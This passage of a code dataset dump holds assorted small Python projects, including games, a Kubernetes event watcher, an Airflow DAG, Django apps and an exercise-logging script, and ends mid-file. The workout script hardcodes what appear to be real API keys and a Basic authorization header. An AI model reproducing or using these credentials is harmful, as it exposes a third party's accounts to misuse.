webbrowser.open(url , new=new)\r\n ps.speak('opening insta')\r\n \r\n elif ('fb' in ch) or ('facebook' in ch):\r\n new = 2\r\n url = \"https://www.facebook.com/\"\r\n webbrowser.open(url , new=new)\r\n ps.speak('opening facebook')\r\n\r\n elif ('whatsapp' in ch) or ('whats app' in ch):\r\n new = 2\r\n url = \"https://web.whatsapp.com/\"\r\n webbrowser.open(url , new=new)\r\n ps.speak('opening whatsapp')\r\n\r\n elif ('exit' in ch) or ('leave' in ch) or ('bye' in ch) or ('tata' in ch):\r\n ps.speak('Ok sir Have a nice day see you soon')\r\n break\r\n else:\r\n print(\"don't support please try again\")\r\n ps.speak(\"sorry for the inconvience \")\r\n ps.speak(\"but i don't understand what you want\")\r\n ps.speak(\"please try again\")\r\n\r\n","repo_name":"arpit456jain/Amazing-Games-in-Python","sub_path":"chatbots/chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":3578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"14937546757","text":"import pygame\r\n\r\npygame.init()\r\n\r\nblack = (0,0,0)\r\nlimegreen = (50,205,50)\r\nblue = (36,255,247)\r\n\r\nsize = (500,700)\r\nscreen = pygame.display.set_mode(size)\r\n\r\npygame.display.set_caption(\"Flappy Bird\")\r\n\r\ndone= False\r\nclock = pygame.time.Clock()\r\n\r\nx = 350\r\ny = 250\r\n\r\n#define global variables to control speed\r\nx_speed = 0\r\ny_speed = 0\r\n\r\n#define function to draw circle\r\ndef ball1(x,y):\r\n pygame.draw.circle(screen,black,(x,y),20)\r\ndef ball2(x,y):\r\n pygame.draw.circle(screen,limegreen,(x,y),15)\r\n\r\n\r\nwhile not done:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n done = True\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_UP:\r\n y_speed = -10\r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_UP:\r\n y_speed = 5\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_LEFT:\r\n x_speed = -10\r\n if event.type == pygame.KEYUP:\r\n if event.key == pygame.K_LEFT:\r\n x_speed = 5\r\n\r\n screen.fill(blue)\r\n #call function to draw the ball\r\n ball1(x,y)\r\n ball2(x,y)\r\n #adjust vertical y position\r\n y += y_speed\r\n x += x_speed\r\n\r\n pygame.display.flip()\r\n clock.tick(60)\r\n\r\n\r\npygame.quit()\r\n","repo_name":"avale10/flappy-bird","sub_path":"flappybird2.py","file_name":"flappybird2.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"71275869543","text":"# This script contains the vizualization functions for the model.\n\n\n# Import packages\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\ndef viz(outcomes, type=\"speaker\", full_results=True):\n # This function takes in a series of states and their probabilities\n # in the form of a dictionary and gives out a histogram representing them.\n ylab = \"Probability\"\n if type == \"listener\":\n xlab = \"Properties\"\n title = \"Listener interpretations\"\n else:\n xlab = \"Utterances\"\n title = \"Speaker intentions\"\n\n if full_results:\n dfs = {key: pd.DataFrame({'x': list(outcomes[key].keys()),\n 'y': list(outcomes[key].values())}) for key in outcomes}\n df_list = []\n for df_key in dfs.keys():\n dfs[df_key]['hue'] = df_key\n df_list.append(dfs[df_key])\n\n res = pd.concat(df_list)\n ax = sns.barplot(x='x', y='y',\n data=res,\n hue='hue')\n ax.set(xlabel=xlab, ylabel=ylab, title=title)\n ax.legend(bbox_to_anchor=(1.01, 1),\n borderaxespad=0, )\n plt.tight_layout()\n return plt.show()\n else:\n plt.bar(outcomes.keys(), outcomes.values())\n return plt.show()\n","repo_name":"LangdP/SMIC_boltanski_thevenot","sub_path":"ver_1/viz_functions.py","file_name":"viz_functions.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74752195944","text":"import unittest\nfrom unittest.mock import patch, call, MagicMock\nimport os\n\nfrom helpers.errorHelpers import ESError\n\nos.environ['DB_USER'] = 'test'\nos.environ['DB_PASS'] = 'test'\nos.environ['DB_HOST'] = 'test'\nos.environ['DB_PORT'] = '1'\nos.environ['DB_NAME'] = 'test'\nos.environ['ES_INDEX'] = 'test'\n\n# This method is invoked outside of the main handler method as this allows\n# us to re-use db connections across Lambda invocations, but it requires a\n# little testing weirdness, e.g. we need to mock it on import to prevent errors\nwith patch('service.SessionManager') as mock_db:\n from service import handler, indexRecords\n\n\nclass TestHandler(unittest.TestCase):\n\n @patch('service.indexRecords', return_value=True)\n def test_handler_clean(self, mock_index):\n testRec = {\n 'source': 'CloudWatch'\n }\n resp = handler(testRec, None)\n mock_index.assert_called_once()\n self.assertTrue(resp)\n\n def test_parse_records_success(self):\n mock_es = MagicMock()\n with patch('service.ESConnection', return_value=mock_es) as mock_conn:\n indexRecords()\n mock_es.generateRecords.assert_called_once()\n","repo_name":"NYPL/sfr-elasticsearch-manager","sub_path":"tests/test_handlers.py","file_name":"test_handlers.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13780157957","text":"from email.generator import Generator\n\n\nfrom itertools import count\n\n\ndef p062(wanted_permutation: int = 5) -> int:\n store = {}\n\n for cube in (i ** 3 for i in count(1)):\n key = ''.join(sorted(str(cube)))\n if not key in store:\n store[key] = []\n store[key].append(cube)\n\n if len(store[key]) == wanted_permutation:\n print(f'solution found for permutation set: {store[key]}')\n return min(store[key])\n\n return 0\n","repo_name":"kapppa-joe/project-euler-trial","sub_path":"p061_070/p062.py","file_name":"p062.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"25471578532","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nimport argparse\n\n# from experiments.src.exp import AggregateExperiment, MDPAgentConfiguration, SingleExperiment\nfrom src.experiment import AggregateExperiment, MDPAgentConfiguration, SingleExperiment\nfrom src.sge_taskgen import SGETaskgen\nfrom src.sequential_taskgen import SequentialTaskgen\n\n\ndef main():\n \"\"\"\n This is a simple example: an experiment executing a number of simulations with homogeneous MDP agents,\n each batch of ten runs with a different width.\n \"\"\"\n exp = AggregateExperiment(parse_arguments())\n\n for width in range(200, 1000, 200):\n agent = MDPAgentConfiguration(population=10, horizon=10, width=width)\n exp.add_single(SingleExperiment(timesteps=100, runs=5,\n simulation_map='r25_i0',\n label=\"width_{}\".format(width),\n agents=[agent]))\n\n exp.bootstrap()\n\n t = SGETaskgen(exp)\n t.run()\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(description='Generate experiment task runners.')\n parser.add_argument(\"--name\", required=True, help='The name/ID we want to give to the experiment', default='')\n parser.add_argument(\"--timeout\", required=True, help='Maximum timeout allowed, in seconds', type=int)\n parser.add_argument(\"--mem\", help='Maximum memory allowed, in GB', default='2', type=int)\n args = parser.parse_args()\n return args\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"gfrances/model-based-social-simulations","sub_path":"experiments/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"71594307944","text":"from airflow import DAG \r\nfrom datetime import datetime,timedelta\r\nfrom airflow.providers.common.sql.operators.sql import SQLExecuteQueryOperator\r\nfrom airflow.operators.python import PythonOperator\r\n\r\n\r\ndef print_data(**context):\r\n fetched_data=context['ti'].xcom_pull(task_ids='fech_mysql_data')\r\n print(fetched_data)\r\n\r\ndefault_args={'owner':'Akhil',\r\n 'start_date':datetime(2023,7,7),\r\n 'end_date':datetime(2023,8,1),\r\n 'retry_delay':timedelta(minutes=5)}\r\n\r\ndag=DAG('data_retrieval_operation',\r\n default_args=default_args,\r\n schedule='@daily')\r\n\r\n\r\nfetch_data=SQLExecuteQueryOperator(\r\n task_id='fetch_mysql_data',\r\n conn_id='Mysql_Db_Fetch',\r\n sql='''Select o.orderid as Orderid, sum(o.netamount) as NetAmount\r\n from orders as o\r\n limit 10''',\r\n database='shoekonnect_live',\r\n dag=dag)\r\n\r\nprint_data=PythonOperator(task_id='print_dataset',\r\n python_callable=print_data,\r\n dag=dag )\r\n\r\nfetch_data >> print_data","repo_name":"Akasonal/Airflow-Question","sub_path":"Data_dag.py","file_name":"Data_dag.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"27827819465","text":"from django.db import models\n\nfrom .movie import Movie\nfrom .loan import Loan\n\nclass Borrower(models.Model):\n first_name = models.CharField(max_length=100)\n last_name = models.CharField(max_length=100)\n\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n borrowed_movies = models.ManyToManyField(\n Movie,\n through=Loan,\n through_fields=('borrower', 'movie')\n )\n\n def __str__(self):\n return f\"{self.first_name} {self.last_name}\"","repo_name":"smoothbrady/campus_crudcars","sub_path":"movie_theatre/models/borrower.py","file_name":"borrower.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21743811566","text":"import turtle\nimport tkinter as tk\nfrom MinMax import *\nimport math\nimport random\nimport time\n\n\nrows, cols = (3, 3)\ng_board = [[0]*cols for i in range(rows)]\nboard2 = [[0]*cols for i in range(rows)]\nend_game = False\nPLAYER = 1\nOPPONENT = 2\nwinner = 0\n\nscreen = turtle.Screen()\nscreen.setup(600,600)\nscreen.title(\"Tic Tac Toe\")\nscreen.setworldcoordinates(-5,-5,5,5)\nscreen.bgcolor('light gray')\nscreen.tracer(0,0)\nturtle.hideturtle()\ncanvas = screen.getcanvas()\n\ncanvas.pack()\n\n\ndef left_move(board):\n tab = []\n for i in range(rows):\n for j in range(cols):\n if board[i][j] == 0:\n tab.append(j + (cols * i))\n \n return tab\n\ndef check_win(board, player):\n# cols win \n global winner\n \n for i in range(rows):\n row = 0\n for j in range(cols):\n if board[j][i] == player:\n row+=1 \n if row == cols:\n winner = player\n return True\n# row win\n for i in range(rows):\n row = 0\n for j in range(cols):\n if board[i][j] == player:\n row+=1 \n if row == rows:\n winner = player\n return True\n # diagonal \n if board[0][0] == player and board[1][1] == player and board[2][2] == player:\n winner = player\n return True\n if board[0][2] == player and board[1][1] == player and board[2][0] == player:\n winner = player\n return True\n \n return False\n\ndef no_move(board):\n\n for i in range(rows):\n for j in range(cols):\n if board[i][j] == 0:\n return False\n return True\n\ndef comp_move(board):\n num = random.choice(left_move(board))\n\n init_temp_array(board2)\n bestMove = findBestMove(board2)\n \n num = (bestMove[1] + (bestMove[0]*cols))\n \n return num\n\n\n\ndef print_winner():\n\n if end_game:\n print()\n style = ('Courier', 38, 'normal')\n turtle.penup()\n turtle.goto(0,4)\n turtle.color(\"magenta\")\n\n if winner == PLAYER:\n turtle.write('Wygrałeś', font=style, align='center')\n elif winner == 0:\n turtle.write('Remis', font=style, align='center')\n else:\n turtle.write('Przegrałeś', font=style, align='center')\n canvas.itemconfig(win1, state=\"normal\")\n\ndef set_move(numer,board,player):\n x = math.floor(numer / cols)\n y = (numer % rows)\n board[x][y] = player\n\n\ndef init_temp_array(board):\n global g_board\n \n for i in range(rows):\n for j in range(cols):\n if g_board[i][j] == 0:\n board[i][j] = 0\n elif g_board[i][j] == PLAYER:\n board[i][j] = PLAYER\n elif g_board[i][j] == OPPONENT:\n board[i][j] = OPPONENT\n return board \n\n\n\n\ndef draw_board():\n turtle.pencolor('black')\n turtle.pensize(8)\n turtle.up()\n turtle.goto(-3,-1)\n turtle.seth(0)\n turtle.down()\n turtle.fd(6)\n turtle.up()\n turtle.goto(-3,1)\n turtle.seth(0)\n turtle.down()\n turtle.fd(6)\n turtle.up()\n turtle.goto(-1,-3)\n turtle.seth(90)\n turtle.down()\n turtle.fd(6)\n turtle.up()\n turtle.goto(1,-3)\n turtle.seth(90)\n turtle.down()\n turtle.fd(6)\n\ndef draw_circle(x,y):\n turtle.up()\n \n turtle.goto(x,y-0.5)\n turtle.seth(0)\n turtle.color('red')\n turtle.down()\n turtle.circle(0.5, steps=100)\n\ndef draw_x(x,y):\n turtle.color('darkgreen')\n turtle.up()\n turtle.goto(x-0.5,y-0.5)\n turtle.down()\n turtle.goto(x+0.5,y+0.5)\n turtle.up()\n turtle.goto(x-0.5,y+0.5)\n turtle.down()\n turtle.goto(x+0.5,y-0.5)\n \ndef draw_piece(i,j,p):\n if p==0: return\n x,y = 2*(j-1), -2*(i-1)\n if p==PLAYER:\n draw_x(x,y)\n else:\n draw_circle(x,y)\n \ndef draw(b):\n draw_board()\n for i in range(3):\n for j in range(3):\n draw_piece(i,j,b[i][j])\n screen.update()\n\n\n\n\ndef play(x,y):\n global turn, end_game\n\n if(end_game == True):\n return\n\n i = 3-int(y+5)//2\n j = int(x+5)//2 - 1\n if i>2 or j>2 or i<0 or j<0 or g_board[i][j]!=0: return\n\n num = (j + (i*cols))\n\n if num not in left_move(g_board):\n return\n\n set_move(num,g_board,PLAYER) \n draw(g_board)\n\n if check_win(g_board,PLAYER) or no_move(g_board):\n end_game = True\n else:\n z = comp_move(g_board) \n set_move(z,g_board,OPPONENT)\n \n if check_win(g_board,OPPONENT) or no_move(g_board):\n end_game = True\n\n time.sleep(1)\n \n draw(g_board)\n \n print_winner()\n \n\ndef nowagra():\n global end_game, g_board, board2, winner\n \n canvas.itemconfig(win1, state=\"hidden\")\n end_game = False\n winner = 0\n for i in range(rows):\n for j in range(cols):\n g_board[i][j] = 0\n board2[i][j] = 0\n turtle.clear()\n umplayer = random.randint(1,2)\n \n if umplayer == OPPONENT:\n z = random.randint(0,8)\n set_move(z,g_board,OPPONENT)\n draw(g_board)\n\n\nbutton = tk.Button(canvas.master, text=\"Nowa Gra\", command=nowagra)\nwin1 = canvas.create_window(-220, -260, window=button)\ncanvas.itemconfig(win1, width=100)\ncanvas.itemconfig(win1, state=\"hidden\")\n\ndraw(g_board)\n\nnowagra()\n#draw(g_board)\nscreen.onclick(play)\n\nturtle.mainloop()\n","repo_name":"ciunowicz/KolkoIKrzyzyk","sub_path":"tic-tac-turtle.py","file_name":"tic-tac-turtle.py","file_ext":"py","file_size_in_byte":5314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26739136278","text":"from xmlrpc.server import SimpleXMLRPCServer\n\nimport logging\nimport os\n\nimport datetime\nimport xmlrpc.client\n\nlogging.basicConfig(level=logging.INFO)\n\nserver=SimpleXMLRPCServer(\n ('localhost',8000),\n logRequests=True\n)\n\ndef list_contents(dir_name):\n logging.info('list_contents(%s)', dir_name)\n return os.listdir(dir_name)\n\nserver.register_function(list_contents)\n\ndef today():\n today = datetime.datetime.today()\n return xmlrpc.client.DateTime(today)\n\nprint(\"Listening on port 8000...\")\nserver.register_function(today, \"today\")\n\n\ntry: \n print('presione Ctrl+C para salir')\n server.serve_forever()\nexcept KeyboardInterrupt:\n print('saliendo')\n\n","repo_name":"Cindyk2052/cliente-servidorRCP","sub_path":"xmlrpc_function.py","file_name":"xmlrpc_function.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"11380543618","text":"def bisectionMethod(function, interval, maxIterations, epsilon, delta):\n \"\"\" Calculates and returns a root of the given function (if one exists)\n within the specified interval. The algorithm continues until either:\n 1. maxIterations has been reached.\n 2. The function applied to the current guess has modulus < epsilon.\n 3. The associated error bound is less than delta.\n \"\"\"\n a = float(interval[0])\n b = float(interval[1])\n u = function(a)\n v = function(b)\n sign = lambda x: 1 if x >= 0 else -1\n assert(sign(u) != sign(v)), \"Bisection method inapplicable on this interval. Find an interval whose endpoints yield different signs.\"\n error_bound = b-a\n for k in range(1,maxIterations+1):\n # Bisect our interval\n error_bound = error_bound / 2.0\n # Get value at the bisection\n c = a + error_bound\n w = function(c)\n # If we are within our stated acceptable error, we are done\n if abs(error_bound) < delta or abs(w) < epsilon:\n return (c, w, k)\n # Otherwise, check if the root is between a and c or c and b\n if sign(w) != sign(u):\n # Root is between a and c, so check interval [a,c]\n b = c\n v = w\n else:\n # Root is between c and b, so check interval [c,b]\n a = c\n u = w\n # This code should be unreachable:\n return (0,0,-1)\n","repo_name":"jtrieb1/scientific-computing","sub_path":"project1/bisection.py","file_name":"bisection.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"39262864366","text":"def main():\n '''\n **P1 Área do Triângulo!**\n Nosso objetivo é fazer um programa que receba 3 valores que representem lados de um triângulo e, então, \n responda qual a área deste triângulo.\n\n Você pode calcular a área de um triângulo a partir da medida de seus lados utilizando a fórmula de Heron (https://pt.wikipedia.org/wiki/Teorema_de_Her%C3%A3o). \n\n Você pode calcular a raiz quadrada de um número elevando ele a 1/2 (meio) — lembre-se que em Python a potenciação pode ser feita com o operador **.\n Ex: 4**(1/2) resulta em 2.0.\n\n Repare que não é qualquer combinação de 3 valores que pode representar lados de um triângulo (condição de existência de um triângulo - https://mundoeducacao.uol.com.br/matematica/condicao-existencia-um-triangulo.htm).\n Regra: um de seus lados deve ser maior que o valor absoluto (módulo) da diferença dos outros dois lados e menor que a soma dos outros dois lados.\n | b - c | < a < b + c\n | a - c | < b < a + c\n | a - b | < c < a + b\n Caso os números recebidos não possam ser usados como lados de um triângulo, seu programa deve informar isso ao usuário.\n '''\n \n a = float(input(\"Digite um valor para o lado 'a' do triângulo: \"))\n b = float(input(\"Digite um valor para o lado 'b' do triângulo: \"))\n c = float(input(\"Digite um valor para o lado 'c' do triângulo: \"))\n \n # existe triângulo?\n if abs(b - c) < a < b + c and abs(a - c) < b < a + c and abs(a - b) < c < a + b:\n # fórmula de Heron\n p = (a + b + c) / 2\n area = (p*(p - a)*(p - b)*(p - c)) ** (1/2)\n print(f\"A área do triângulo é {area}.\")\n else:\n print(\"Não obedece à regra, portanto não é possível existir um triângulo.\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"pathilink/Python_do_Jeito_Certo","sub_path":"P1_area_triangulo.py","file_name":"P1_area_triangulo.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"3023660405","text":"import os\nfrom dataclasses import dataclass\n\n@dataclass\nclass datasets:\n @dataclass\n class mnist:\n root : str = os.path.expanduser('~/.torch/MNIST')\n jsonpath_train : str = 'mnist-train.json'\n jsonpath_test : str= 'mnist-test.json'\n @dataclass\n class fashion:\n root : str = os.path.expanduser('~/.torch/FashionMNIST')\n jsonpath_train = 'fashion-train.json'\n jsonpath_test = 'fashion-test.json'\n @dataclass\n class cifar10:\n root : str = os.path.expanduser('~/.torch/CIFAR10')\n jsonpath_train = 'cifar10-train.json'\n jsonpath_test = 'cifar10-test.json'\n @dataclass\n class cifar100:\n root : str = os.path.expanduser('~/.torch/CIFAR100')\n jsonpath_train = 'cifar100-train.json'\n jsonpath_test = 'cifar100-test.json'\n @dataclass\n class tinyimagenet:\n '''\n download it here:\n http://cs231n.stanford.edu/tiny-imagenet-200.zip\n '''\n root : str = os.path.expanduser('~/.torch/tiny-imagenet-200')\n jsonpath_train = 'tinyimagenet-train.json'\n jsonpath_test = 'tinyimagenet-test.json'\n @dataclass\n class imagenet1k:\n '''\n use kaggle version 2017\n '''\n root : str = os.path.expanduser('~/.torch/ilsvrc2017')\n jsonpath_train = 'imagenet1k-train.jsond'\n jsonpath_test = 'imagenet1k-test.jsond'\n","repo_name":"cdluminate/MyNotes","sub_path":"rs/2022-veccls/veccls/configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4956204755","text":"import queue\nimport logging\nimport argparse\n\nimport kubernetes.client\n\nfrom utils.kubernetes.config import configure\nfrom utils.signal import install_shutdown_signal_handlers\nfrom utils.kubernetes.watch import KubeWatcher, WatchEventType\nfrom utils.threading import SupervisedThread, SupervisedThreadGroup\n\nfrom .config import load_config\nfrom .format import format_event\n\nlog = logging.getLogger(__name__)\n\n\ndef main():\n arg_parser = argparse.ArgumentParser()\n arg_parser.add_argument('--master', help='kubernetes api server url')\n arg_parser.add_argument('--in-cluster', action='store_true', help='configure with in-cluster config')\n arg_parser.add_argument('--log-level', default='WARNING')\n arg_parser.add_argument('--config', required=True)\n args = arg_parser.parse_args()\n\n logging.basicConfig(format='%(levelname)s: %(message)s', level=args.log_level)\n configure(args.master, args.in_cluster)\n install_shutdown_signal_handlers()\n config = load_config(args.config)\n\n q = queue.Queue()\n threads = SupervisedThreadGroup()\n threads.add_thread(WatcherThread(q))\n threads.add_thread(HandlerThread(q, config))\n threads.start_all()\n threads.wait_any()\n\n\nclass HandlerThread(SupervisedThread):\n def __init__(self, queue, config):\n super().__init__()\n self.queue = queue\n self.config = config\n\n def run_supervised(self):\n while True:\n event = self.queue.get()\n self.handle(event)\n\n def handle(self, event):\n for mapping in self.config.mappings:\n if mapping.does_match(event):\n try:\n mapping.sink(event)\n except Exception:\n log.exception('Failed to handle event')\n\n\nclass WatcherThread(SupervisedThread):\n def __init__(self, queue):\n super().__init__(daemon=True)\n self.queue = queue\n\n def run_supervised(self):\n v1 = kubernetes.client.CoreV1Api()\n watcher = iter(KubeWatcher(v1.list_event_for_all_namespaces))\n\n for event_type, event in watcher:\n if event_type == WatchEventType.DONE_INITIAL:\n break\n\n for event_type, event in watcher:\n if event_type != WatchEventType.ADDED:\n continue\n event._formatted = format_event(event)\n self.queue.put(event)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"smpio/kube-event-watcher","sub_path":"kew/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"19239357004","text":"import socket\nimport datetime\nimport sh\nimport os\nimport json\n\nimport random\nimport numpy.random as npr\nimport torch\n\nfrom tensorboardX import SummaryWriter\n\ndef commit(experiment_name, time):\n \"\"\"\n Try to commit repo exactly as it is when starting the experiment for reproducibility.\n \"\"\"\n try:\n sh.git.commit('-a',\n m='\"auto commit tracked files for new experiment: {} on {}\"'.format(experiment_name, time),\n allow_empty=True\n )\n commit_hash = sh.git('rev-parse', 'HEAD').strip()\n return commit_hash\n except:\n return ''\n\ndef init_experiment(config):\n start_time = datetime.datetime.now().strftime('%b-%d-%y@%X')\n host_name = socket.gethostname()\n run_name = config.get('run_name', None)\n if run_name is None:\n run_name = '{}-{}'.format(start_time, host_name)\n run_comment = config.get('run_comment', None)\n if run_comment:\n run_name += '-{}'.format(run_comment)\n config['run_name'] = run_name\n\n commit_run=True\n if \"commit_run\" in config.keys():\n commit_run=config[\"commit_run\"]\n \n # create the needed run directory ifnexists\n log_dir = config.get('log_dir', 'runs')\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n run_dir = os.path.join(log_dir, run_name)\n if not os.path.exists(run_dir):\n os.makedirs(run_dir)\n config['run_dir'] = run_dir\n\n writer = SummaryWriter(run_dir)\n\n # commit if you can\n if commit_run:\n commit_hash = commit(config.get('title', '\"\n\n # create text summary for logging config to tensorboard\n config['tag'] = 'Experiment Config: {} :: {}\\n'.format(\n config.get('title', ''), start_time)\n\n text = '

    {}

    \\n'.format(config['tag'])\n text += '{}\\n'.format(config.get('description', ''))\n\n text += '
    '\n    text += 'Start Time: {}\\n'.format(start_time)\n    text += 'Host Name: {}\\n'.format(host_name)\n    text += 'CWD: {}\\n'.format(os.getcwd())\n    text += 'PID: {}\\n'.format(os.getpid())\n    text += 'Log Dir: {}\\n'.format(log_dir)\n    text += 'Commit Hash: {}\\n'.format(commit_hash)\n    text += 'Random Seed: {}\\n'.format(config.get('random_seed', ''))\n    text += '
    \\n
    '\n\n    skip_keys = ['tag', 'title', 'description', 'random_seed', 'log_dir', 'run_dir', 'run_name', 'run_comment']\n    for key, val in config.items():\n        if key in skip_keys:\n            continue\n        text += '{}: {}\\n'.format(key, val)\n    text += '
    '\n\n # set random seed\n rseed = config.get('random_seed', None)\n if rseed is not None:\n random.seed(rseed)\n npr.seed(rseed)\n torch.manual_seed(rseed)\n\n writer.add_text(config['tag'], text, 0)\n\n # save the config to run dir\n with open(os.path.join(config['run_dir'], 'config.json'), 'w') as f:\n json.dump(config, f, indent=2)\n\n return writer, config\n","repo_name":"teffland/pytorch-monitor","sub_path":"build/lib/pytorch_monitor/init_experiment.py","file_name":"init_experiment.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"36"} +{"seq_id":"953498272","text":"pkgname = \"libxcomposite\"\npkgver = \"0.4.6\"\npkgrel = 0\nbuild_style = \"gnu_configure\"\nhostmakedepends = [\"pkgconf\"]\nmakedepends = [\"xorgproto\", \"libxfixes-devel\"]\npkgdesc = \"X Composite library\"\nmaintainer = \"q66 \"\nlicense = \"MIT\"\nurl = \"https://xorg.freedesktop.org\"\nsource = f\"$(XORG_SITE)/lib/libXcomposite-{pkgver}.tar.gz\"\nsha256 = \"3599dfcd96cd48d45e6aeb08578aa27636fa903f480f880c863622c2b352d076\"\n\n\ndef post_install(self):\n self.install_license(\"COPYING\")\n\n\n@subpackage(\"libxcomposite-devel\")\ndef _devel(self):\n return self.default_devel()\n\n\nconfigure_gen = []\n","repo_name":"chimera-linux/cports","sub_path":"main/libxcomposite/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"36"} +{"seq_id":"10715120854","text":"# coding=utf-8\nimport itertools\nwhile True:\n n = eval(input())\n l = []\n i = 1\n while i<=n:\n l.append(i)\n i += 1\n tar = list(itertools.permutations(l,n))\n for item in tar:\n for s in item:\n print(s,end = \" \")\n print()","repo_name":"Dearyyyyy/TCG","sub_path":"data/3943/AC_py/524847.py","file_name":"524847.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"31215043417","text":"# Day 38: Workout Tracking Using Google Sheets\r\nfrom datetime import datetime\r\nimport requests\r\n\r\nAPP_ID = \"d948de71\"\r\nAPI_KEY = \"e43dff83a303cfc95a58e162493cccce\"\r\n\r\nuser_input = str(input(\"Tell me which exercies you did: \"))\r\n\r\nheaders = {\r\n \"x-app-id\": APP_ID,\r\n \"x-app-key\": API_KEY,\r\n # \"x-remote-user-id\": \"dmartinm\",\r\n}\r\n\r\n\r\nexercise_endpoint = \"https://trackapi.nutritionix.com/v2/natural/exercise\"\r\n\r\nparams = {\r\n \"query\": user_input,\r\n \"gender\": \"male\",\r\n \"weight_kg\": 77,\r\n \"height_cm\": 170,\r\n \"age\": 26,\r\n}\r\nresponse = requests.post(url=exercise_endpoint, json=params, headers=headers)\r\nresponse.raise_for_status()\r\n\r\nsheets_endpoint = \"https://api.sheety.co/3f56e49384411eb75ae1a48efce2f50f/workoutTracking/workouts\"\r\n\r\nexercies_list = response.json()[\"exercises\"]\r\n\r\n# response = requests.get(\r\n# url=\"https://api.sheety.co/3f56e49384411eb75ae1a48efce2f50f/workoutTracking/workouts\")\r\n# print(response.json())\r\n\r\nsheets_header = {\r\n \"Authorization\": \"Basic ZGllZ286b3Nqc2FzYWxuZ2xza2RuZw==\",\r\n}\r\n\r\nfor exercise in exercies_list:\r\n exercise_type = str(exercise[\"name\"]).title()\r\n exercise_duration = str(exercise[\"duration_min\"])\r\n exercise_calories = str(exercise[\"nf_calories\"])\r\n todays_date = datetime.now()\r\n date = todays_date.strftime(\"%d/%m/%Y\")\r\n time = todays_date.strftime(\"%H:%M:%S\")\r\n\r\n exercise_params = {\r\n \"workout\": {\r\n \"date\": date,\r\n \"time\": time,\r\n \"exercise\": exercise_type,\r\n \"duration\": exercise_duration,\r\n \"calories\": exercise_calories,\r\n }\r\n }\r\n\r\n response = requests.post(\r\n url=sheets_endpoint, json=exercise_params, headers=sheets_header)\r\n response.raise_for_status()\r\n print(response.text)\r\n","repo_name":"dmartinm95/Python-Bootcamp","sub_path":"day38/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"41262362791","text":"from django.contrib import admin\nfrom django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('main/', views.main, name='main'),\n path('index/', views.index, name='index'),\n path('detail/', views.detail,name=\"detail\"),\n path('new/', views.new, name='new'),\n path('renew/',views.renew, name=\"renew\"),\n path('deldte/',views.delete, name=\"delete\"),\n path('update/',views.update, name=\"update\"),\n path('create/',views.create, name=\"create\"),\n \n]\n\n","repo_name":"loganjoon/Blogproject0730","sub_path":"post/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"23405604732","text":"import copy\n\nfrom collections import defaultdict\nfrom typing import DefaultDict, List\n\n# mode = \"test\"\nmode = \"prod\"\n\nif mode == \"test\":\n # note: make sure spaces exist for each column. Pycharm eats end-of-line spaces by default.\n inpath = \"test_data.txt\"\nelse:\n inpath = \"input.txt\"\n\n\ndef chunk_line(line, chunksize=4):\n # split the string into 